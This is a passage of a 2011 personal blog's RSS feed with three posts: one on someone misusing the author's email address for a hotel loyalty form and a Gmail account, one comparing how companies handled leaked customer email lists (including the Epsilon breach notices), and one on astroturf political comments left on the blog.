</em>Specialist, E-Communications Department<br />
Starwood Hotels &amp; Resorts Worldwide</p>
<p style="padding-left: 30px;">Original Message Follows:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
SPG Number: *******24<br />
Subject: Benefit Clarifications<br />
Comments: In the moment two persons must give me money they are Ingrid Betancourt and Guy André-Kieffer these two persons must give me two milliards <em>[sic]</em> of dollars.<br />
First Name: Diallo<br />
Last Name: Mamadou Oury<br />
Email Address: jik@kamens.brookline.ma.us<br />
Membership Level: E</p>
<p>Note that whoever wrote to Starwood (through a form on their Web site, I suspect) gave the name &#8220;Diallo Mamadou Oury&#8221;, but when Starwood wrote back to me, they used my real name! I thought at the time that they must have looked up my name from my email address, since I was at one point a member of the Starwood program, but I just called their customer server number and asked them to look up my account by name or email address, and they were unable to do so. I just sent them an email message asking where they got my name from; I will update this blog entry when I hear back from them about it.</p>
<p>Note also that <a href="http://en.wikipedia.org/wiki/%C3%8Dngrid_Betancourt" target="_blank">Ingrid Betancourt</a> and <a href="http://en.wikipedia.org/wiki/Guy-Andr%C3%A9_Kieffer" target="_blank">Guy André-Kieffer</a> are real, prominent people. Bizarre!</p>
<p>Anyway, I wrote back to Starwood and told them that somebody was clearly just misusing my email address, and they should ignore it. I thought that was the end of it.</p>
<p>Now it gets crazy.</p>
<p>Earlier today, I got this from Google:</p>
<p style="padding-left: 30px;">Congratulations on creating your brand new Gmail address,<br />
ibsondao.mamadou331@gmail.com.<br />
Please keep this email for your records, as it contains an important verification code that you may need should you ever encounter problems or forget your password.</p>
<p style="padding-left: 30px;">You can login to your account at http://mail.google.com/</p>
<p style="padding-left: 30px;">Enjoy!</p>
<p style="padding-left: 30px;">The Gmail Team</p>
<p style="padding-left: 30px;">Verification code: <em>[elided]</em></p>
<p style="padding-left: 30px;">If you didn&#8217;t create this Gmail address and don&#8217;t recognize this email, please visit: http://mail.google.com/support/bin/answer.py?answer=62400</p>
<p>WTF? What benefit would someone get from creating a Gmail account and using someone else&#8217;s email address as the recovery address?</p>
<p>Thinking fast, I immediately used the fact that this person listed my email address for recovery to change the account&#8217;s password and security question. So whatever he was intending to do with this account, which I honestly can&#8217;t imagine, he isn&#8217;t going to be able to.</p>
<p>Note that whoever created the Google account gave the name &#8220;Diallo Mamadou&#8221;, which matches what he gave to Starwood, but doesn&#8217;t match the email address he chose, where he instead used the name &#8220;Ibso Ndao Mamadou&#8221;.</p>
<p>So, does anybody have any ideas about what&#8217;s going on here?</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/06/23/whos-using-my-email-address-and-why/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
			<item>
		<title>A study in contrasts: handling stolen email lists</title>
		<link>http://blog.kamens.us/2011/04/04/a-study-in-contrasts-handling-stolen-email-lists/</link>
		<comments>http://blog.kamens.us/2011/04/04/a-study-in-contrasts-handling-stolen-email-lists/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 21:31:27 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Consumer activism]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[1-800-FLOWERS.COM]]></category>
		<category><![CDATA[Brookstone]]></category>
		<category><![CDATA[Chase]]></category>
		<category><![CDATA[Epsilon]]></category>
		<category><![CDATA[Sandvik]]></category>
		<category><![CDATA[Scholastic]]></category>
		<category><![CDATA[spear phishing]]></category>
		<category><![CDATA[Walgreens]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2180</guid>
		<description><![CDATA[I try to make a habit of giving out &#8220;tagged&#8221; email addresses to web sites when I sign up for accounts / mailing lists / whatever. For example, when creating an account at widgets.com, instead of just signing up as &#8220;jik@kamens.us&#8221;, I might sign up as &#8220;jik+widgets@kamens.us&#8221;. It ends up in the same mailbox regardless, [...]]]></description>
			<content:encoded><![CDATA[<p>I try to make a habit of giving out &#8220;tagged&#8221; email addresses to web sites when I sign up for accounts / mailing lists / whatever. For example, when creating an account at widgets.com, instead of just signing up as &#8220;jik@kamens.us&#8221;, I might sign up as &#8220;jik+widgets@kamens.us&#8221;. It ends up in the same mailbox regardless, and it gives me some visibility into who is sharing or selling or allowing my email address to be stolen.</p>
<p>About six months ago, I started getting spam from an email address that I had only used in one place: signing up one of my kids for a Scholastic, Inc. book club through their web site back in 2007.</p>
<p>I contacted Scholastic and told them that either they were selling my email address and it needed to stop, or they had suffered a data breach of at least customer email addresses, if not more.</p>
<p>In response, Scholastic&#8217;s CISO informed me that Scholastic doesn&#8217;t sell email addresses to third parties; their children&#8217;s book club business was sold to Sandvik Publishing in 2008; the email address in question was no longer in Scholastic&#8217;s database; and I should contact Sandvik if I wished to pursue the matter further.</p>
<p>I sent a reply to the CISO which read as follows:</p>
<p style="padding-left: 30px;">I don&#8217;t recall ever being asked whether I considered it OK for Scholastic to sell my PII to another company. This is especially disturbing since at that point I was no longer a customer of Scholastic&#8217;s for the business that was sold.</p>
<p style="padding-left: 30px;">Granted, your privacy policy gives you the legal right to sell any information you collect to anyone you want. The fact that you are legally permitted to do that doesn&#8217;t make it right.</p>
<p style="padding-left: 30px;">Your privacy policy also says, &#8220;Scholastic ensures that all personally and non-personally identifiable information that it receives via the Internet is secure against unauthorized access.&#8221; Alas, you apparently do not consider it your responsibility to ensure that the third parties to whom you sell PII keep it as secure as you claim to do yourselves. That is rather disappointing.</p>
<p style="padding-left: 30px;">I will contact [Sandvik] as you have suggested. However, if I were in your shoes, I would be extremely concerned that a third party to whom Scholastic had sold PII allowed it to be compromised, and I would consider it my responsibility to investigate the issue myself, rather than leaving the wronged (former) Scholastic customer entirely on his own.</p>
<p>I received no further response from Scholastic.</p>
<p><span id="more-2180"></span>I then contacted the president of Sandvik. He insisted that Sandvik also does not sell email addresses, and that it was simply impossible that my address could have been leaked through them, since the only place they have it is on a USB drive locked in a safe. They said it was more likely that the address was stolen by someone from my mail server or computer.</p>
<p>I explained in response that the the only place this address could be found on my computer was in a three-year-old, compressed email archive in a totally non-standard location in my home directory, and that I ran my own Linux mail server which I actively monitored on a daily basis, which had never shown any evidence of any sort of successful intrusion, and which in any case was hardly an attractive target for spammers to go to the trouble of harvesting email addresses from, since it serves only the people in my family.</p>
<p>For this, and various other reasons I pointed out, it was far more likely that the address had been stolen at some point from Sandvik. I also pointed out that the data breach laws in many of the states in which Sandvik does business would seem to require Sandvik to initiate an investigation into the breach and/or to report it to various state governments. At this point, Sandvik, too, stopped responding to my emails.</p>
<p>There&#8217;s really no way of knowing whether my email address was actually stolen from Scholastic or Sandvik. I don&#8217;t save mail server logs back far enough to know when I first started getting spam at that address, and even if I did, there&#8217;s no guarantee that spammers would have started using the address immediately after getting their hands on it, nor is there any guarantee that Scholastic completely destroyed the data immediately after selling the business to Sandvik. Scholastic and Sandvik both refuse to acknowledge the possibility that email addresses and possibly more PII were stolen from them, and it&#8217;s unlikely that a nobody like me would be able to convince them to take this more seriously, so I stopped trying.</p>
<p style="text-align: left;">I&#8217;d like to contrast the poor handling of the email address breach by Scholastic and/or Sandvik with an email message I just got from Brookstone:<strong></strong></p>
<p style="padding-left: 30px; text-align: center;"><strong>++++++++++++Important E-Mail Security Alert++++++++++++</strong></p>
<p style="padding-left: 30px;">Dear Valued Brookstone Customer,</p>
<p style="padding-left: 30px;">On March 31, we were informed by our e-mail service provider that your e-mail address may have been exposed by unauthorized entry into their system. Our e-mail service provider deploys e-mails on our behalf to customers in our e-mail database.</p>
<p style="padding-left: 30px;"><strong>We want to assure you that the only information that may have been obtained was your first name and e-mail address. Your account and any other personally identifiable information are not stored in this system and were not at risk.</strong></p>
<p style="padding-left: 30px;">Please note, it is possible you may receive spam e-mail messages as a result. We want to urge you to be cautious when opening links or attachments from unknown third parties.</p>
<p style="padding-left: 30px;">In keeping with best industry security practices, <strong><span style="text-decoration: underline;">Brookstone will never ask you to provide or confirm any information, including credit card numbers, unless you are on our secure e-commerce site, Brookstone.com.</span></strong></p>
<p style="padding-left: 30px;">Our service provider has reported this incident to the appropriate authorities.</p>
<p style="padding-left: 30px;">We regret this has taken place and for any inconvenience this may have caused you. We take your privacy very seriously, and we will continue to work diligently to protect your personal information.</p>
<p style="padding-left: 30px;">Sincerely,</p>
<p style="padding-left: 30px;">Brookstone Customer Care</p>
<p>It turns out that the provider who leaked Brookstone&#8217;s address list was Epsilon, and they also leaked the lists of a bunch of other clients, many of them more frightening (because of the risk of spear phishing attacks) than Brookstone. See <a href="http://krebsonsecurity.com/2011/04/epsilon-breach-raises-specter-of-spear-phishing/" target="_blank">Krebs on Security</a> for details.</p>
<p>It&#8217;s unfortunate that Brookstone allowed a breach of email addresses and the first names associated with them, because spammers will use the first names to help them evade people&#8217;s spam filters and execute more convincing and successful phishing attacks. Having said that, Brookstone deserves a great deal of credit for sending out this notification. Furthermore, if the timeline in the notification is true, then they sent it out two days after being notified about the breach, which is all the more impressive.</p>
<p><strong>Update [4/5/2011]:</strong> I&#8217;ve now also been contacted about the Epsilon breach by 1-800-FLOWERS.COM and Walgreens. Woohoo!</p>
<p><strong>Update [4/6/2010]:</strong> Add Chase to the list. It&#8217;s sort of sad that it took Chase, a bank, three days longer to notify me than Brookstone, a high-end luxury toys merchant.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/04/04/a-study-in-contrasts-handling-stolen-email-lists/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
			<item>
		<title>Astroturf for (or against?) Obama</title>
		<link>http://blog.kamens.us/2011/03/24/astroturf-for-or-against-obama/</link>
		<comments>http://blog.kamens.us/2011/03/24/astroturf-for-or-against-obama/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 17:45:42 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Barack Obama]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Government activism]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[astroturf]]></category>
		<category><![CDATA[big pharma]]></category>
		<category><![CDATA[Diane Pearce]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2136</guid>
		<description><![CDATA[An interesting comment showed up a few hours ago on an earlier blog posting of mine about Barack Obama: &#8220;Just wanted to say that I am eployed at a large Pharmaceutical company in Clayton NC and I support Barack Obama with all my heart. I would love for all my friends and colleagues to re-elect [...]]]></description>
			<content:encoded><![CDATA[<p>An interesting comment showed up a few hours ago on an <a title="Barack Obama is still my president" href="http://blog.kamens.us/2010/12/20/barack-obama-is-still-my-president/">earlier blog posting of mine about Barack Obama</a>: &#8220;Just wanted to say that I am eployed at a large Pharmaceutical company  in Clayton NC and I support Barack Obama with all my heart. I would love  for all my friends and colleagues to re-elect Obama in 2012!! I LOVE  YOU OBAMA.&#8221;</p>
<p>The commenter gave the name &#8220;Diane Pearce Votes for Obama Again&#8221; and linked to my.barackobama.com. I thought it was slightly weird, but not weird enough to merit further investigation.</p>
<p>Then, three hours later, another comment came in on <a title="“Jewish Mother for Obama”" href="http://blog.kamens.us/2008/10/06/jewish-mother-for-obama/">a different blog posting</a>, this time from &#8220;Diane Pearce Loves Barack Obama&#8221;: &#8220;All I know is that I work at a large Pharmaceutical corporation in  Clayton NC and I endroce Barack Obama with all my being. I would love  for all my friends and colleagues to re-elect Obama in 2012!! I LOVE YOU  OBAMA.&#8221;</p>
<p>That exceeded my weirdness threshold, so I looked into it a bit further.</p>
<p>The two comments gave two different email addresses, Reitter@gmail.com and Lipovsky@gmail.com, both of which appear to be based on people&#8217;s names and neither of which is related to the full name given by the commenter.</p>
<p>One of the comments was posted from an IP address in the United Arab Emirates. The other was posted from Indonesia.</p>
<p>I Googled for <a href="http://www.google.com/search?q=%22Diane+Pearce%22+Obama&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a" target="_blank">pages matching &#8220;Diane Pearce&#8221; and Obama</a>, and there were 264 matches, many of which were similar comments. I did the same Google search a half hour later, and the count was up to 270.</p>
<p>Someone is clearly astroturfing here. The motives for this, and whether the people doing it are in reality trying to help or hurt Obama, are left as an exercise to the reader.</p>
<div id="_mcePaste" class="mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;">
<table class="widefat fixed comments" cellspacing="0">
<tbody id="the-comment-list" class="list:comment">
<tr id="comment-112140" class="approved">
<td class="author column-author"><strong><img class="avatar avatar-32 photo" src="http://1.gravatar.com/avatar/7533c9019b5c7dcba82bcff06a22508c?s=32&amp;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D32&amp;r=PG" alt="" width="32" height="32" /> Diane Pearce Votes for Obama Again</strong><br />
<a title="http://my.barackobama.com" href="http://my.barackobama.com/">my.barackobama.com</a><br />
<a href="mailto:Reitter@gmail.com">Reitter@gmail.com</a><br />
<a href="edit-comments.php?s=86.96.226.22&amp;mode=detail">86.96.226.22</a></td>
</tr>
</tbody>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/03/24/astroturf-for-or-against-obama/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

